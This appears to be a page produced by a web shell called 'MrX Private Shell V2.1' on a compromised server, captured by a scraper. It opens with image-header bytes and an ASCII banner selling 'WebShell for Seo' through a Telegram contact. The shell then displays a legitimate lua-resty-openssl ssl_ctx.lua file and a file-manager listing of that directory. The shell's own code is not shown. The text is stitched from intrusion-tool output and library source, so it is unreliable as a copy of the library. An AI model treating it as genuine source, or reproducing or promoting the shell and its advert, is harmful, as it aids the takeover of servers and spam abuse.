����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
local ffi = require "ffi"
local C = ffi.C
local new_tab = table.new
local char = string.char
local concat = table.concat
require "resty.openssl.include.ssl"
local nginx_aux = require("resty.openssl.auxiliary.nginx")
local _M = {}
local mt = {__index = _M}
local ssl_ctx_ptr_ct = ffi.typeof('SSL_CTX*')
function _M.from_request()
-- don't GC this
local ctx, err = nginx_aux.get_req_ssl_ctx()
if err ~= nil then
return nil, err
end
return setmetatable({
ctx = ctx,
-- the cdata is not manage by Lua, don't GC on Lua side
_managed = false,
-- this is the Server SSL session
_server = true,
}, mt)
end
function _M.from_socket(socket)
if not socket then
return nil, "expect a ngx.socket.tcp instance at #1"
end
-- don't GC this
local ctx, err = nginx_aux.get_socket_ssl_ctx(socket)
if err ~= nil then
return nil, err
end
return setmetatable({
ctx = ctx,
-- the cdata is not manage by Lua, don't GC on Lua side
_managed = false,
-- this is the client SSL session
_server = false,
}, mt)
end
function _M.istype(l)
return l and l.ctx and ffi.istype(ssl_ctx_ptr_ct, l.ctx)
end
local function encode_alpn_wire(alpns)
local ret = new_tab(#alpns*2, 0)
for i, alpn in ipairs(alpns) do
ret[i*2-1] = char(#alpn)
ret[i*2] = alpn
end
return concat(ret, "")
end
function _M:set_alpns(alpns)
if not self._server then
return nil, "ssl_ctx:set_alpns is only supported on server side"
end
alpns = encode_alpn_wire(alpns)
if self._alpn_select_cb then
self._alpn_select_cb:free()
end
local alpn_select_cb = ffi.cast("SSL_CTX_alpn_select_cb_func", function(_, out, outlen, client, client_len)
local code = ffi.C.SSL_select_next_proto(
ffi.cast("unsigned char **", out), outlen,
alpns, #alpns,
client, client_len)
if code ~= 1 then -- OPENSSL_NPN_NEGOTIATED
return 3 -- SSL_TLSEXT_ERR_NOACK
end
return 0 -- SSL_TLSEXT_ERR_OK
end)
C.SSL_CTX_set_alpn_select_cb(self.ctx, alpn_select_cb, nil)
-- store the reference to avoid it being GC'ed
self._alpn_select_cb = alpn_select_cb
return true
end
return _M| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| auxiliary | Folder | 0755 |
|
|
| include | Folder | 0755 |
|
|
| x509 | Folder | 0755 |
|
|
| asn1.lua | File | 2.53 KB | 0644 |
|
| bn.lua | File | 9.36 KB | 0644 |
|
| cipher.lua | File | 8.79 KB | 0644 |
|
| crypto.lua | File | 489 B | 0644 |
|
| ctx.lua | File | 1.59 KB | 0644 |
|
| dh.lua | File | 2.59 KB | 0644 |
|
| digest.lua | File | 2.67 KB | 0644 |
|
| ec.lua | File | 5.04 KB | 0644 |
|
| ecx.lua | File | 2.02 KB | 0644 |
|
| err.lua | File | 2.94 KB | 0644 |
|
| hmac.lua | File | 1.95 KB | 0644 |
|
| kdf.lua | File | 11.26 KB | 0644 |
|
| mac.lua | File | 2.71 KB | 0644 |
|
| objects.lua | File | 1.69 KB | 0644 |
|
| param.lua | File | 10.92 KB | 0644 |
|
| pkcs12.lua | File | 4.72 KB | 0644 |
|
| pkey.lua | File | 31.17 KB | 0644 |
|
| provider.lua | File | 3.44 KB | 0644 |
|
| rand.lua | File | 1.33 KB | 0644 |
|
| rsa.lua | File | 3.43 KB | 0644 |
|
| ssl.lua | File | 8.56 KB | 0644 |
|
| ssl_ctx.lua | File | 2.11 KB | 0644 |
|
| stack.lua | File | 3.69 KB | 0644 |
|
| version.lua | File | 2.86 KB | 0644 |
|